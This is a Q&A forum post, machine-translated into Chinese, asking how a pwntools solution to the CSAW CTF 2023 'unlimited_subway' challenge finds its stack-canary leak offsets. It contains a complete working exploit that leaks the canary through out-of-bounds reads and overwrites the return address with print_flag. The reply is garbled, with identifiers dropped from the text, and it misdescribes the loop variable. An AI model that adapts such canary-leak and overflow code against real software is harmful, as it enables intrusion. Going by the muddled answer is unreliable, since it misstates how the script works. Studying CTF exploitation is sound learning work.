提问人:hwrryss 提问时间:9/21/2023 更新时间:9/21/2023 访问量:53
CTF 挑战中的堆栈布局
Stack Layout in a CTF Challenge
问:
所以,基本上我正在为 2023 年 CSAW_CTF 资格赛的 CTF 挑战赛“unlimited_subway”寻找解决方案。解决方案的代码如下所示:
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
p = process('./unlimited_subway')
e = ELF('./unlimited_subway')
# l = e.libc
canary = b''
print_flag = e.symbols['print_flag']
log.info("print_flag : 0x%08x" % print_flag)
# gdb.attach(p,'''b *main+554''')
# gdb.attach(p,'''b *main+609''')
# gdb.attach(p)
for i in range(0x83, 0x7f, -1):
sla('> ', 'V')
sla(' : ', bytes(str(i), 'utf-8'))
ru(' : ')
canary += r(2)
canary = int(canary, 16)
log.info("canary : 0x%08x" % canary)
payload = b''
payload += b'A'*0x40
payload += p32(canary)
payload += b'B'*0x4
payload += p32(print_flag)
sla('>', 'E')
sla(" : ", bytes(str(len(payload)), 'utf-8'))
sla(" : ", payload)
p.interactive()
我很难理解该解决方案究竟如何找到偏移指数(此处为 128-131)来泄漏堆栈金丝雀?
挑战自我的链接:https://github.com/osirislab/CSAW-CTF-2023-Quals/tree/main/pwn/unlimited_subway/chal
在 Ghidra 中打开二进制文件后,我尝试自己计算索引,从逻辑上讲应该是 64(溢出缓冲区)+ 2(“选择”的大小)+ + + 4(name_size的大小)..+ 4 (local_90) 字节,应该有金丝雀。但它最多只能加起来 88 个字节:c在此处输入图像描述
答:
-1赞
NoName
9/21/2023
#1
当然,让我们分解一下。
您提供的源代码使用库与二进制文件进行交互。该脚本使用库中的 and 函数查找 Canary 值。具体来说,它一次读取两个字节来获取金丝雀。pwn
./unlimited_subway
readuntil()
read()
pwn
挑战不在于找到金丝雀所在的索引偏移量,而在于读取金丝雀本身。该脚本通过循环实现此目的:
for i in range(0x83, 0x7f, -1):
sla('> ', 'V')
sla(' : ', bytes(str(i), 'utf-8'))
ru(' : ')
canary += r(2)
这里,用于控制读取的字节数。该脚本一次读取字节,然后抓取最后 2 个字节,本质上是向后穿过缓冲区来构造金丝雀。i
i
您提到使用 Ghidra 计算索引偏移量。金丝雀在堆栈帧中的实际位置将基于编译器对局部变量和其他堆栈元素的排列。您的计算可能缺少对齐或其他编译器生成的变量等元素。
如果您仍然感到困惑,那么仔细检查反汇编或调试程序将是找到确切偏移量的方法。
评论